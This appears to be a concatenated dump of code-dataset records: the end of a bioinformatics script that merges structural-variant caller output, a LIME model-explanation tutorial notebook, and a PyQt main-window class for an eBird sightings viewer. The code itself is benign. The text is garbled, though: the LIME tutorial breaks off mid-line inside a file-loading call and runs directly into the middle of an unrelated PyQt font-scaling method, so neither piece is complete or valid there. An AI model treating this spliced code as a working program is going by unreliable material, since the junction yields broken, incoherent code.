lumpy.append(ninfo)\n if len(lu_t) == 0:\n x = 'X'\n lumpy.append(x)\n if len(de_ss) != 0:\n s = float(min(de_ss))\n e = float(max(de_ss))\n percent_o = (e - s) / (float(row1.STOP) - float(row1.START)) * 100\n ninfo = str(s) + '-' + str(e) + ':' + most_frequent(de_t) + ':' + str(round(percent_o, 2)) + '%'\n delly.append(ninfo)\n if len(de_t) == 0:\n x = 'X'\n delly.append(x)\n if len(ma_ss) != 0:\n s = float(min(ma_ss))\n e = float(max(ma_ss))\n percent_o = (e - s) / (float(row1.STOP) - float(row1.START)) * 100\n ninfo = str(s) + '-' + str(e) + ':' + most_frequent(ma_t) + ':' + str(round(percent_o, 2)) + '%'\n manta.append(ninfo)\n if len(ma_t) == 0:\n x = 'X'\n manta.append(x)\n if len(gr_ss) != 0:\n s = float(min(gr_ss))\n e = float(max(gr_ss))\n percent_o = (e - s) / (float(row1.STOP) - float(row1.START)) * 100\n ninfo = str(s) + '-' + str(e) + ':' + most_frequent(gr_t) + ':' + str(round(percent_o, 2)) + '%'\n gridss.append(ninfo)\n if len(gr_t) == 0:\n x = 'X'\n gridss.append(x)\n starts = sample_table['START'].to_list()\n stops = sample_table['STOP'].to_list()\n chroms = sample_table['CHROM'].to_list()\n num_callers = sample_table['NUM_CALLERS'].to_list()\n all_lengths = sample_table['SV_LEN'].to_list()\n all_reformat = {'CHROM': chroms, 'START': starts, 'STOP': stops,'NUM_CALLERS': num_callers, 'SV_LEN': all_lengths, 'BREAKDANCER': breakdancer, 'PINDEL': pindel, 'LUMPY': lumpy, 'MANTA': manta, 'DELLY': delly, 'GRIDSS': gridss}\n reformat_frame = pd.DataFrame(all_reformat)\n return reformat_frame\n\n\n\ndef main():\n data = sys.argv[1]\n out = sys.argv[2]\n\n\n\n","sub_path":"reformat_merge.py","file_name":"reformat_merge.py","file_ext":"py","file_size_in_byte":22692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"337600692","text":"\n# coding: utf-8\n\n# In[1]:\nfrom __future__ import print_function\nimport sklearn\nimport sklearn.datasets\nimport sklearn.ensemble\nimport numpy as np\nimport lime\nimport lime.lime_tabular\n\nnp.random.seed(1)\n\n\n# ## Continuous features\n\n# ### Loading data, training a model\n\n# For this part, we'll use the Iris dataset, and we'll train a random forest. \n\n# In[2]:\n\niris = sklearn.datasets.load_iris()\n\n\n# In[3]:\n\ntrain, test, labels_train, labels_test = sklearn.model_selection.train_test_split(iris.data, iris.target, train_size=0.80)\n\n\n# In[4]:\n\nrf = sklearn.ensemble.RandomForestClassifier(n_estimators=500)\nrf.fit(train, labels_train)\n\n\n# In[5]:\n\nsklearn.metrics.accuracy_score(labels_test, rf.predict(test))\n\n\n# ### Create the explainer\n\n# As opposed to lime_text.TextExplainer, tabular explainers need a training set. The reason for this is because we compute statistics on each feature (column). If the feature is numerical, we compute the mean and std, and discretize it into quartiles. If the feature is categorical, we compute the frequency of each value. For this tutorial, we'll only look at numerical features.\n\n# We use these computed statistics for two things:\n# 1. To scale the data, so that we can meaningfully compute distances when the attributes are not on the same scale\n# 2. To sample perturbed instances - which we do by sampling from a Normal(0,1), multiplying by the std and adding back the mean.\n# \n\n# In[6]:\n\nexplainer = lime.lime_tabular.LimeTabularExplainer(train, feature_names=iris.feature_names, class_names=iris.target_names, discretize_continuous=True)\n\n\n# ### Explaining an instance\n\n# Since this is a multi-class classification problem, we set the top_labels parameter, so that we only explain the top class.\n\n# In[7]:\n\ni = np.random.randint(0, test.shape[0])\nexp = explainer.explain_instance(test[i], rf.predict_proba, num_features=2, top_labels=1)\n\n\n# We now explain a single instance:\n\n# In[8]:\n\nexp.show_in_notebook(show_table=True, show_all=False)\n\n\n# Now, there is a lot going on here. First, note that the row we are explained is displayed on the right side, in table format. Since we had the show_all parameter set to false, only the features used in the explanation are displayed.\n# \n# The *value* column displays the original value for each feature.\n# \n# Note that LIME has discretized the features in the explanation. This is because we let discretize_continuous=True in the constructor (this is the default). Discretized features make for more intuitive explanations.\n# \n\n# ### Checking the local linear approximation\n\n# In[9]:\n\nfeature_index = lambda x: iris.feature_names.index(x)\n\n\n# In[10]:\n\nprint('Increasing petal width')\ntemp = test[i].copy()\nprint('P(setosa) before:', rf.predict_proba(temp.reshape(1,-1))[0,0])\ntemp[feature_index('petal width (cm)')] = 1.5\nprint('P(setosa) after:', rf.predict_proba(temp.reshape(1,-1))[0,0])\nprint ()\nprint('Increasing petal length')\ntemp = test[i].copy()\nprint('P(setosa) before:', rf.predict_proba(temp.reshape(1,-1))[0,0])\ntemp[feature_index('petal length (cm)')] = 3.5\nprint('P(setosa) after:', rf.predict_proba(temp.reshape(1,-1))[0,0])\nprint()\nprint('Increasing both')\ntemp = test[i].copy()\nprint('P(setosa) before:', rf.predict_proba(temp.reshape(1,-1))[0,0])\ntemp[feature_index('petal width (cm)')] = 1.5\ntemp[feature_index('petal length (cm)')] = 3.5\nprint('P(setosa) after:', rf.predict_proba(temp.reshape(1,-1))[0,0])\n\n\n# Note that both features had the impact we thought they would. The scale at which they need to be perturbed of course depends on the scale of the feature in the training set.\n\n# We now show all features, just for completeness:\n\n# In[11]:\n\nexp.show_in_notebook(show_table=True, show_all=True)\n\n\n# ## Categorical features\n\n# For this part, we will use the Mushroom dataset, which will be downloaded [here](http://archive.ics.uci.edu/ml/machine-learning-databases/mushroom/agaricus-lepiota.data). The task is to predict if a mushroom is edible or poisonous, based on categorical features.\n\n# ### Loading data\n\n# In[12]:\n\ndata = np.genfromtxt('http://archive.ics.uci.edu/ml/machine-learning-databases/mushroom/agaricus-lepiota.data', delimiter=',', dtype=' 1:\n self.scaleFactor = 1 + modf(self.scaleFactor)[0] * 3\n if self.scaleFactor < 1:\n self.scaleFactor = (1 + self.scaleFactor) / 2\n self.fontSize = floor(11 * self.scaleFactor)\n MainWindow.fontSize = self.fontSize\n MainWindow.scaleFactor = self.scaleFactor\n \n self.menuBar.setFont(QFont(\"Helvetica\", self.fontSize)) \n \n for a in self.toolBar.actions():\n a.setFont(QFont(\"Helvetica\", self.fontSize)) \n \n # scale the main filter dock\n for w in self.frmFilter.children():\n \n if w.objectName()[0:3] == \"cbo\":\n styleSheet = w.styleSheet()\n w.setStyleSheet(\"\")\n w.setFont(QFont(\"Helvetica\", self.fontSize)) \n metrics = w.fontMetrics()\n cboText = w.currentText()\n if cboText == \"\":\n cboText = \"Dummy Text\"\n itemTextWidth = metrics.boundingRect(cboText).width()\n itemTextHeight = metrics.boundingRect(cboText).height()\n w.setMinimumWidth(floor(1.1 * itemTextWidth))\n w.setMinimumHeight(floor(1.1 * itemTextHeight))\n w.setMaximumHeight(floor(1.1 * itemTextHeight))\n w.resize(1.1 * itemTextHeight, 1.1 * itemTextWidth)\n w.setStyleSheet(styleSheet)\n \n if w.objectName()[0:3] == \"lbl\":\n w.setFont(QFont(\"Helvetica\", self.fontSize)) \n metrics = w.fontMetrics()\n labelText = w.text()\n itemTextWidth = metrics.boundingRect(labelText).width()\n itemTextHeight = metrics.boundingRect(labelText).height()\n w.setMinimumWidth(floor(itemTextWidth))\n w.setMinimumHeight(floor(itemTextHeight))\n w.setMaximumHeight(floor(itemTextHeight))\n w.resize(itemTextHeight, itemTextWidth) \n w.setStyleSheet(\"QLabel { font: bold }\");\n \n if w.objectName()[0:3] == \"cal\":\n styleSheet = w.styleSheet()\n w.setStyleSheet(\"\")\n w.setFont(QFont(\"Helvetica\", self.fontSize)) \n metrics = w.fontMetrics()\n startDate = (\n str(self.calStartDate.date().year()) \n + \"-\" \n + str(self.calStartDate.date().month()) \n + \"-\" \n + str(self.calStartDate.date().day()))\n itemTextWidth = metrics.boundingRect(startDate).width()\n itemTextHeight = metrics.boundingRect(startDate).height()\n w.setMinimumWidth(floor(1.1 * itemTextWidth))\n w.setMinimumHeight(floor(1.1 * itemTextHeight))\n w.setMaximumHeight(floor(1.1 * itemTextHeight))\n w.resize(1.1 * itemTextHeight, 1.1 * itemTextWidth) \n w.setStyleSheet(styleSheet)\n \n for w in self.frmStartSeasonalRange.children():\n \n if w.objectName()[0:3] == \"cbo\":\n styleSheet = w.styleSheet()\n w.setStyleSheet(\"\")\n w.setFont(QFont(\"Helvetica\", self.fontSize)) \n metrics = w.fontMetrics()\n cboText = w.currentText()\n itemTextWidth = metrics.boundingRect(cboText).width()\n itemTextHeight = metrics.boundingRect(cboText).height()\n w.setMinimumWidth(floor(1.1 * itemTextWidth))\n w.setMinimumHeight(floor(1.1 * itemTextHeight))\n w.setMaximumHeight(floor(1.1 * itemTextHeight))\n w.resize(1.1 * itemTextHeight, 1.1 * itemTextWidth) \n w.setStyleSheet(styleSheet) \n\n for w in self.frmEndSeasonalRange.children():\n \n if w.objectName()[0:3] == \"cbo\":\n styleSheet = w.styleSheet()\n w.setStyleSheet(\"\")\n w.setFont(QFont(\"Helvetica\", self.fontSize)) \n metrics = w.fontMetrics()\n cboText = w.currentText()\n itemTextWidth = metrics.boundingRect(cboText).width()\n itemTextHeight = metrics.boundingRect(cboText).height()\n w.setMinimumWidth(floor(1.1 * itemTextWidth))\n w.setMinimumHeight(floor(1.1 * itemTextHeight))\n w.setMaximumHeight(floor(1.1 * itemTextHeight))\n w.resize(1.1 * itemTextHeight, 1.1 * itemTextWidth) \n w.setStyleSheet(styleSheet) \n\n self.frmStartSeasonalRange.setMinimumWidth(floor(1.5 * itemTextWidth))\n self.frmStartSeasonalRange.setMinimumHeight(floor(1.5* itemTextHeight))\n self.frmStartSeasonalRange.setMaximumHeight(floor(1.5 * itemTextHeight))\n self.frmStartSeasonalRange.resize(1.5 * itemTextHeight, 1.5 * itemTextWidth) \n self.frmStartSeasonalRange.adjustSize()\n \n self.frmEndSeasonalRange.setMinimumWidth(floor(1.5 * itemTextWidth))\n self.frmEndSeasonalRange.setMinimumHeight(floor(1.5* itemTextHeight))\n self.frmEndSeasonalRange.setMaximumHeight(floor(1.5 * itemTextHeight))\n self.frmEndSeasonalRange.resize(1.5 * itemTextHeight, 1.5 * itemTextWidth) \n self.frmEndSeasonalRange.adjustSize()\n \n # scale open children windows\n for w in self.mdiArea.subWindowList(): \n w.scaleMe()\n \n \n def clearFilter(self):\n self.cboCountries.setCurrentIndex(0)\n self.cboStates.setCurrentIndex(0)\n self.cboCounties.setCurrentIndex(0)\n self.cboLocations.setCurrentIndex(0)\n self.cboOrders.setCurrentIndex(0)\n self.cboFamilies.setCurrentIndex(0)\n self.cboSpecies.setCurrentIndex(0)\n self.cboDateOptions.setCurrentIndex(0)\n self.cboSeasonalRangeOptions.setCurrentIndex(0)\n \n \n def hideFilter(self):\n self.dckFilter.hide()\n\n\n def setCountryFilter(self, country):\n index = self.cboCountries.findText(country)\n if index >= 0:\n self.cboCountries.setCurrentIndex(index)\n\n \n def setCountyFilter(self, county):\n self.cboCountries.setCurrentIndex(0)\n self.cboStates.setCurrentIndex(0)\n index = self.cboCounties.findText(county)\n if index >= 0:\n self.cboCounties.setCurrentIndex(index)\n\n \n def setStateFilter(self, state):\n self.cboCountries.setCurrentIndex(0)\n index = self.cboStates.findText(state)\n if index >= 0:\n self.cboStates.setCurrentIndex(index)\n\n\n def setLocationFilter(self, location):\n self.cboCountries.setCurrentIndex(0)\n self.cboStates.setCurrentIndex(0)\n self.cboCounties.setCurrentIndex(0)\n index = self.cboLocations.findText(location)\n if index >= 0:\n self.cboLocations.setCurrentIndex(index)\n\n\n def setSpeciesFilter(self, species):\n index = self.cboSpecies.findText(species)\n if index >= 0:\n self.cboSpecies.setCurrentIndex(index)\n\n\n def setDateFilter(self, startDate, endDate = \"\"):\n \n # if only one date is specified, use that date for both start and end dates\n if endDate == \"\":\n endDate = startDate\n \n startYear = int(startDate[0:4])\n startMonth = int(startDate[5:7])\n startDay = int(startDate[8:])\n myStartDate = QDate()\n myStartDate.setDate(startYear, startMonth, startDay)\n \n endYear = int(endDate[0:4])\n endMonth = int(endDate[5:7])\n endDay = int(endDate[8:])\n myEndDate = QDate()\n myEndDate.setDate(endYear, endMonth, endDay) \n \n self.calStartDate.setDate(myStartDate)\n self.calEndDate.setDate(myEndDate)\n\n\n def setSeasonalRangeFilter(self, month):\n index = self.cboStartSeasonalRangeMonth.findText(month)\n if index >= 0:\n self.cboStartSeasonalRangeMonth.setCurrentIndex(index)\n self.cboEndSeasonalRangeMonth.setCurrentIndex(index)\n self.cboStartSeasonalRangeDate.setCurrentIndex(0)\n self.cboEndSeasonalRangeDate.setCurrentIndex(30)\n\n \n def showFilter(self):\n self.dckFilter.show()\n \n \n def keyPressEvent(self, e):\n # open file dalog routine if user presses Crtl-O\n if e.key() == Qt.Key_O and e.modifiers() & Qt.ControlModifier:\n self.OpenDataFile()\n\n # open file dalog routine if user presses Crtl-O\n if e.key() == Qt.Key_F and e.modifiers() & Qt.ControlModifier:\n self.CreateFind()\n\n \n def CalendarClicked(self):\n if MainWindow.db.eBirdFileOpenFlag is True:\n self.cboDateOptions.setCurrentIndex(1)\n\n\n def CreateFind(self):\n \n # if no data file is currently open, abort\n if MainWindow.db.eBirdFileOpenFlag is False:\n self.CreateMessageNoFile() \n return\n \n sub = code_Find.Find()\n \n # save the MDI window as the parent for future use in the child \n sub.mdiParent = self\n \n # add and position the child to our MDI area \n self.mdiArea.addSubWindow(sub)\n sub.setGeometry(self.dckFilter.width() * 2, self.dckFilter.height() * .25, sub.width(), sub.height())\n \n sub.scaleMe()\n sub.resizeMe()\n \n sub.show()\n \n \n def CreateMessageNoFile(self):\n QApplication.restoreOverrideCursor() \n msg = QMessageBox()\n msg.setIcon(QMessageBox.Information)\n msg.setText(\"No ebird data is currently loaded.\\n\\nPlease open an eBird data file.\")\n msg.setWindowTitle(\"No Data\")\n msg.setStandardButtons(QMessageBox.Ok)\n msg.exec_()\n\n\n def CreateMessageNoResults(self):\n \n QApplication.restoreOverrideCursor() \n msg = QMessageBox()\n msg.setIcon(QMessageBox.Information)\n msg.setText(\"No sightings match the current filter settings.\")\n msg.setWindowTitle(\"No Sightings\")\n msg.setStandardButtons(QMessageBox.Ok)\n msg.exec_()\n \n \n def PositionChildWindow(self, child, creatingWindow):\n \n # if creatingWindow is the maind MDI window, center the new child window\n if creatingWindow.objectName() == \"MainWindow\":\n childWindowCoordinates = []\n for window in self.mdiArea.subWindowList(): \n if window.isVisible() == True:\n childWindowCoordinates.append([window.x(), window.y()])\n # try to place child window, but check if that would exactly overlap another window\n x = 10\n y = 10\n # if x, y is already the top left coordinate of a child window, add 20 to x and y and retry\n while [x, y] in childWindowCoordinates:\n x = x + 25\n y = y + 25\n child.setGeometry(x, y, child.width(), child.height())\n \n # if creatingWindow is a child window, place new child window cascaded down from calling creatingWindow\n else:\n x = creatingWindow.x() + 25\n y = creatingWindow.y() + 25\n child.setGeometry(x, y, child.width(), child.height())\n \n child.setFocus()\n\n def OpenDataFile(self): \n # clear and close any data if a file is already open\n\n self.ResetMainWindow()\n self.db.ClearDatabase()\n self.clearFilter()\n\n fname = QFileDialog.getOpenFileName(self,\"QFileDialog.getOpenFileNames()\", \"\",\"eBird Data Files (*.csv *.zip)\")\n \n if fname[0] != \"\":\n QApplication.setOverrideCursor(QCursor(Qt.WaitCursor))\n \n self.fillingLocationComboBoxesFlag = True\n \n MainWindow.db.ReadDataFile(fname) \n \n # now try to open a taxonomy file, if one exists in the same directory as the python script\n # get the directory path leading to the file in an OS-neutral way\n \n # look for a taxonomy file. It must be in the same directory as the script directory\n # and be a csv file named \"eBird_Taxonomy.csv\"\n if getattr(sys, 'frozen', False):\n # frozen\n scriptDirectory = os.path.dirname(sys.executable)\n else:\n # unfrozen\n scriptDirectory = os.path.dirname(os.path.realpath(__file__))\n \n # scriptDirectory = os.path.dirname(__file__)\n taxonomyFile = os.path.join(scriptDirectory, \"eBird_Taxonomy.csv\")\n \n if os.path.isfile(taxonomyFile) is True:\n MainWindow.db.ReadTaxonomyDataFile(taxonomyFile)\n \n # try to open the country-state code file , if one exists in the same directory as python script\n # this file lists all the country and state codes, and their longer names for better legibility\n # It must be named \"ebird_api_ref_location_eBird_list_subnational1.csv\".\n countryStateCodeFile = os.path.join(scriptDirectory, \"ebird_api_ref_location_eBird_list_subnational1.csv\")\n if os.path.isfile(countryStateCodeFile) is True:\n MainWindow.db.ReadCountryStateCodeFile(countryStateCodeFile) \n\n if MainWindow.db.eBirdFileOpenFlag is True:\n self.FillMainComboBoxes()\n self.CreateSpeciesList()\n \n # we're done filling the comboboxes, so set the flag to false\n # the flag, when True, prevents this method from being called \n # every time the program adds a location to the combo boxes.\n self.fillingLocationComboBoxesFlag = False\n \n self.ShowMainWindowOptions()\n \n QApplication.restoreOverrideCursor()\n\n\n def CreateBigReport(self): \n # the Create Analysis Report button was clicked\n # spawn a new ChildAnalysis window and fill it\n \n # if no data file is currently open, abort\n if MainWindow.db.eBirdFileOpenFlag is False:\n self.CreateMessageNoFile() \n return\n \n QApplication.setOverrideCursor(QCursor(Qt.WaitCursor)) \n \n # get the current filter settings in a list to pass to new child\n filter = self.GetFilter()\n \n # create new Analysis child window\n sub = code_BigReport.BigReport()\n \n # set the mdiParent variable in the child so it can know the \n # object that called it (for later use in the child)\n sub.mdiParent = self\n \n # call the child's routine to fill it with data\n if sub.FillAnalysisReport(filter) is False:\n self.CreateMessageNoResults()\n sub.close()\n \n else:\n \n # add child to MDI area and position it\n self.mdiArea.addSubWindow(sub)\n self.PositionChildWindow(sub, self)\n sub.show() \n \n QApplication.restoreOverrideCursor() \n \n \n def CreateChecklistsList(self): \n # Create Filtered List button was clicked\n # create filtered species list child\n \n # if no data file is currently open, abort\n if MainWindow.db.eBirdFileOpenFlag is False:\n self.CreateMessageNoFile() \n return\n \n QApplication.setOverrideCursor(QCursor(Qt.WaitCursor)) \n \n # get the current filter settings in a list to pass to child\n filter = self.GetFilter()\n \n # create child window \n sub = code_Lists.Lists()\n \n # save the MDI window as the parent for future use in the child\n sub.mdiParent = self\n \n # call the child's fill routine, passing the filter settings list\n if sub.FillChecklists(filter) is True:\n \n # add and position the child to our MDI area\n self.mdiArea.addSubWindow(sub)\n self.PositionChildWindow(sub, self)\n sub.show() \n\n else:\n \n self.CreateMessageNoResults()\n sub.close()\n \n QApplication.restoreOverrideCursor() \n \n \n def CreatePDF(self):\n \n activeWindow = self.mdiArea.activeSubWindow()\n\n if activeWindow is None:\n return\n\n if activeWindow.objectName() in ([\n \"frmSpeciesList\", \n \"frmFamilies\", \n \"frmCompare\", \n \"frmDateTotals\", \n \"frmLocationTotals\", \n \"frmWeb\", \n \"frmIndividual\", \n \"frmLocation\",\n \"frmBigReport\"\n ]):\n\n # create a QTextDocument in memory to hold and render our content\n document = QTextDocument()\n\n # create a QPrinter object for the printer the user later selects\n printer = QPrinter()\n \n # set printer to PDF output, Letter size\n printer.setOutputFormat(QPrinter.PdfFormat)\n printer.setPaperSize(QPrinter.Letter);\n printer.setPageMargins(20, 10, 10, 10, QPrinter.Millimeter)\n\n # set the document to the printer's page size\n pageSize = printer.paperSize(QPrinter.Point)\n document.setPageSize(pageSize)\n \n filename = QFileDialog.getSaveFileName(self,\"QFileDialog.getSaveFileNames()\", \"\",\"PDF Files (*.pdf)\")\n \n if filename[0] != \"\":\n \n # set output file name\n printer.setOutputFileName(filename[0])\n \n # get html content from child window\n html = activeWindow.html()\n\n # load the html into the document\n document.setHtml(html)\n\n # create the PDF file by printing to the \"printer\" (which is set to PDF)\n document.print_(printer) \n\n if sys.platform == \"win32\":\n os.startfile(filename[0])\n else:\n opener =\"open\" if sys.platform == \"darwin\" else \"xdg-open\"\n subprocess.call([opener, filename[0]])\n \n \n def CreateSpeciesList(self): \n # Create Filtered List button was clicked\n # create filtered species list child\n \n # if no data file is currently open, abort\n if MainWindow.db.eBirdFileOpenFlag is False:\n self.CreateMessageNoFile() \n return\n \n QApplication.setOverrideCursor(QCursor(Qt.WaitCursor)) \n \n # get the current filter settings in a list to pass to child\n filter = self.GetFilter()\n \n # create child window \n sub = code_Lists.Lists()\n \n # save the MDI window as the parent for future use in the child\n sub.mdiParent = self\n \n # call the child's fill routine, passing the filter settings list\n if sub.FillSpecies(filter) is True:\n \n # add and position the child to our MDI area\n self.mdiArea.addSubWindow(sub)\n self.PositionChildWindow(sub, self)\n sub.show() \n \n else:\n \n self.CreateMessageNoResults()\n sub.close()\n \n QApplication.restoreOverrideCursor() \n \n \n def CreateLocationTotals(self): \n\n # if no data file is currently open, abort \n if MainWindow.db.eBirdFileOpenFlag is not True:\n self.CreateMessageNoFile() \n return\n \n QApplication.setOverrideCursor(QCursor(Qt.WaitCursor))\n \n filter = self.GetFilter()\n # create new Location Totals child window \n sub = code_LocationTotals.LocationTotals()\n\n # save the MDI window as the parent for future use in the child \n sub.mdiParent = self \n\n # call the child's routine to fill it with data \n # procede if the child successfully filled with data\n if sub.FillLocationTotals(filter) is True:\n\n # add and position the child to our MDI area\n self.mdiArea.addSubWindow(sub)\n self.PositionChildWindow(sub, self)\n sub.show()\n \n else:\n\n # abort if filter found no sightings for child\n self.CreateMessageNoResults()\n sub.close()\n \n QApplication.restoreOverrideCursor() \n\n\n def CreateAboutLapwing(self): \n \n QApplication.setOverrideCursor(QCursor(Qt.WaitCursor))\n \n sub = code_Web.Web()\n\n # save the MDI window as the parent for future use in the child \n sub.mdiParent = self \n\n # call the child's routine to fill it with data \n sub.loadAboutLapwing()\n \n # add and position the child to our MDI area\n self.mdiArea.addSubWindow(sub)\n self.PositionChildWindow(sub, self)\n sub.show()\n \n QApplication.restoreOverrideCursor() \n\n\n def CreateMap(self): \n\n # if no data file is currently open, abort \n if MainWindow.db.eBirdFileOpenFlag is not True:\n self.CreateMessageNoFile() \n return\n \n QApplication.setOverrideCursor(QCursor(Qt.WaitCursor))\n \n filter = self.GetFilter()\n # create new Location Totals child window \n sub = code_Web.Web()\n\n # save the MDI window as the parent for future use in the child \n sub.mdiParent = self \n\n # call the child's routine to fill it with data \n if sub.LoadLocationsMap(filter) is True:\n \n # add and position the child to our MDI area\n self.mdiArea.addSubWindow(sub)\n self.PositionChildWindow(sub, self)\n sub.show()\n\n else:\n # abort if filter found no sightings for map\n self.CreateMessageNoResults()\n sub.close()\n \n QApplication.restoreOverrideCursor() \n\n \n def CreateDateTotals(self): \n\n # if no data file is currently open, abort \n if MainWindow.db.eBirdFileOpenFlag is not True:\n self.CreateMessageNoFile() \n return\n \n QApplication.setOverrideCursor(QCursor(Qt.WaitCursor))\n\n # create new Date Totals child window \n sub = code_DateTotals.DateTotals()\n\n # save the MDI window as the parent for future use in the child \n sub.mdiParent = self \n \n # call the child's routine to fill it with data\n if sub.FillDateTotals(self.GetFilter()) is True:\n\n # add and position the child to our MDI area\n self.mdiArea.addSubWindow(sub)\n self.PositionChildWindow(sub, self)\n sub.show() \n \n else:\n \n # abort since filter found no sightings for child\n self.CreateMessageNoResults()\n sub.close()\n\n QApplication.restoreOverrideCursor() \n\n\n def CreateFamiliesReport(self): \n\n # if no data file is currently open, abort \n if MainWindow.db.eBirdFileOpenFlag is not True:\n self.CreateMessageNoFile() \n return\n \n QApplication.setOverrideCursor(QCursor(Qt.WaitCursor))\n \n # create Families Report child window\n sub = code_Families.Families()\n \n # save the MDI window as the parent for future use in the child \n sub.mdiParent = self\n \n # get filter \n filter = self.GetFilter()\n \n # call the child's routine to fill it with data\n if sub.FillFamilies(filter) is True:\n\n # add and position the child to our MDI area \n self.mdiArea.addSubWindow(sub)\n self.PositionChildWindow(sub, self) \n sub.show()\n sub.scaleMe()\n sub.resizeMe()\n \n else:\n \n # abort if no families matched the filter\n self.CreateMessageNoResults()\n sub.close()\n \n QApplication.restoreOverrideCursor() \n \n \n def CreateCompareLists(self): \n\n # if no data file is currently open, abort \n if MainWindow.db.eBirdFileOpenFlag is not True:\n self.CreateMessageNoFile() \n return\n \n QApplication.setOverrideCursor(QCursor(Qt.WaitCursor))\n \n # create new Compare child window\n sub = code_Compare.Compare()\n \n # save the MDI window as the parent for future use in the child\n sub.mdiParent = self\n\n # call the child's routine to fill it with data\n if sub.FillListChoices() is True:\n\n # add and position the child to our MDI area \n self.mdiArea.addSubWindow(sub)\n self.PositionChildWindow(sub, self)\n sub.scaleMe()\n sub.resizeMe()\n sub.show()\n\n else:\n \n QApplication.restoreOverrideCursor() \n msg = QMessageBox()\n msg.setIcon(QMessageBox.Information)\n msg.setText(\"Fewer than two lists are available to compare. \\n\\nCreate two or more species lists before trying to compare them.\")\n msg.setWindowTitle(\"No Species Lists\")\n msg.setStandardButtons(QMessageBox.Ok)\n msg.exec_() \n sub.close()\n\n QApplication.restoreOverrideCursor() \n\n\n def CreateLocationsList(self): \n \n # if no data file is currently open, abort \n if MainWindow.db.eBirdFileOpenFlag is not True:\n self.CreateMessageNoFile() \n return\n\n QApplication.setOverrideCursor(QCursor(Qt.WaitCursor))\n \n filter = self.GetFilter()\n \n # create a new list child window\n sub = code_Lists.Lists()\n \n # save the MDI window as the parent for future use in the child \n sub.mdiParent = self\n\n # call the child's routine to fill it with data\n if sub.FillLocations(filter) is True:\n \n # add and position the child to our MDI area \n self.mdiArea.addSubWindow(sub)\n self.PositionChildWindow(sub, self) \n sub.show()\n \n else:\n \n self.CreateMessageNoResults()\n sub.close\n \n QApplication.restoreOverrideCursor() \n \n \n def GetFilter(self):\n startDate = \"\"\n endDate= \"\"\n startSeasonalMonth = \"\"\n startSeasonalDay = \"\"\n endSeasonalMonth = \"\"\n endSeasonalDay = \"\"\n locationType = \"\"\n locationName = \"\" \n speciesName = \"\"\n family = \"\"\n order = \"\"\n \n # check whether calendar widgets are used\n if self.cboDateOptions.currentText() == \"Use Calendars Below\":\n \n # get yyyy-mm-dd start date string from widget\n startDate = (\n str(self.calStartDate.date().year()) \n + \"-\" \n + str(self.calStartDate.date().month()) \n + \"-\" \n + str(self.calStartDate.date().day()))\n \n # get yyyy-mm-dd end date string from widget\n endDate = (\n str(self.calEndDate.date().year()) \n + \"-\" \n + str(self.calEndDate.date().month()) \n + \"-\" \n + str(self.calEndDate.date().day())\n )\n \n # Check if Today radio button is checked.\n # If so, just create yyyy-mm-dd for today.\n if self.cboDateOptions.currentText() == \"Today\":\n\n now = datetime.datetime.now()\n\n startDate = (\n str(now.year) \n + \"-\" \n + str(now.month) \n + \"-\" \n + str(now.day)\n )\n \n # since this is a single day, startDate and endDate are the same\n endDate = startDate \n \n if self.cboDateOptions.currentText() == \"Yesterday\":\n now = datetime.datetime.now()\n \n # subtract a day from today to get yesterday\n yesterday = now + datetime.timedelta(days=-1)\n \n # convert to yyyy-mm-dd string\n startDate = (\n str(yesterday.year) \n + \"-\" \n + str(yesterday.month) \n + \"-\" \n + str(yesterday.day)\n )\n \n # since this is a single day, startDate and endDate are the same\n endDate = startDate\n\n # Check if This Year radio button is checked.\n # if so, create yyyy-01-01 and yyyy-12-31 start and end dates\n if self.cboDateOptions.currentText() == \"This Year\":\n\n now = datetime.datetime.now()\n \n # set startDate to January 1 of this year\n startDate = str(now.year) + \"-01-01\"\n \n # set endDate to December 31 of this year\n endDate = str(now.year) + \"-12-31\"\n\n \n # Check if This Month radio button is checked\n # if so, create yyyy-mm-01 and yyyy-mm-31 dates\n # We'll need to get the correct number fo the last day of the month\n if self.cboDateOptions.currentText() == \"This Month\":\n \n now = datetime.datetime.now()\n\n # startDate should be first day of this month\n # convert to yyyy-mm-dd string\n startDate = (\n str(now.year) \n + \"-\" \n + str(now.month) \n + \"-\" \n + \"01\"\n )\n \n # lastDate is trickier. Need the last day of month, which varies numerically by month.\n # set day to 28 and then add 4 days. This guarantees finding a date in next month\n dayInNextMonth= now.replace(day=28) + datetime.timedelta(days=4)\n \n # Now set the date to 1 so we're at the first day of next month\n firstOfNextMonth = dayInNextMonth.replace(day=1)\n \n # Now subtract a day from the first of next month, which back into the last day of this month\n lastDayOfThisMonth = firstOfNextMonth + datetime.timedelta(days = -1)\n # convert to yyyy-mm-dd string\n endDate = (\n str(lastDayOfThisMonth.year) \n + \"-\" \n + str(lastDayOfThisMonth.month) \n + \"-\" \n + str(lastDayOfThisMonth.day)\n )\n\n # add leading 0 to date digit strings if less than two digits\n # only take action if startDate has a value\n if not startDate == \"\":\n \n # get the date digit(s) from the yyyy-mm-d(d) string\n # they might be only 1 digit long, hence the need to pad\n startDateDigits = startDate.split(\"-\")[2]\n endDateDigits = endDate.split(\"-\")[2]\n \n if len(startDateDigits) < 2:\n \n # pad with 0, because date is only one digit\n startDateDigits = \"0\" + startDateDigits\n \n if len(endDateDigits) < 2:\n \n # pad with 0, because date is only one digit\n endDateDigits = \"0\" + endDateDigits\n \n # add leading 0 to month digit strings if less than two digits\n \n # get the month digit(s) from the yyyy-m(m)-dd string\n # they might be only 1 digit long, hence the need to pad\n startMonthDigits = startDate.split(\"-\")[1]\n endMonthDigits = endDate.split(\"-\")[1]\n \n if len(startMonthDigits) < 2:\n\n # pad with 0, because month is only one digit \n startMonthDigits = \"0\" + startMonthDigits\n \n if len(endMonthDigits) < 2:\n \n # pad with 0, because month is only one digit \n endMonthDigits = \"0\" + endMonthDigits \n \n # reassemble padded Start and End Dates in yyyy-mm-dd string\n startDate = (\n startDate[0:4] # year digits yyyy\n + \"-\" \n + startMonthDigits \n + \"-\" \n + startDateDigits\n )\n \n endDate = (\n endDate[0:4] # year digits yyyy\n + \"-\" \n + endMonthDigits \n + \"-\" \n + endDateDigits\n )\n\n if self.cboSeasonalRangeOptions.currentText() == \"Use Range Below\":\n \n # read date month number from combobox, and add one to convert from\n # zero-based to one-based month \n startSeasonalMonth = str(self.cboStartSeasonalRangeMonth.currentIndex()+1)\n \n # read startSeasonalDay from combobox\n startSeasonalDay = self.cboStartSeasonalRangeDate.currentText()\n \n # read date month number from combobox, and add one to convert from\n # zero-based to 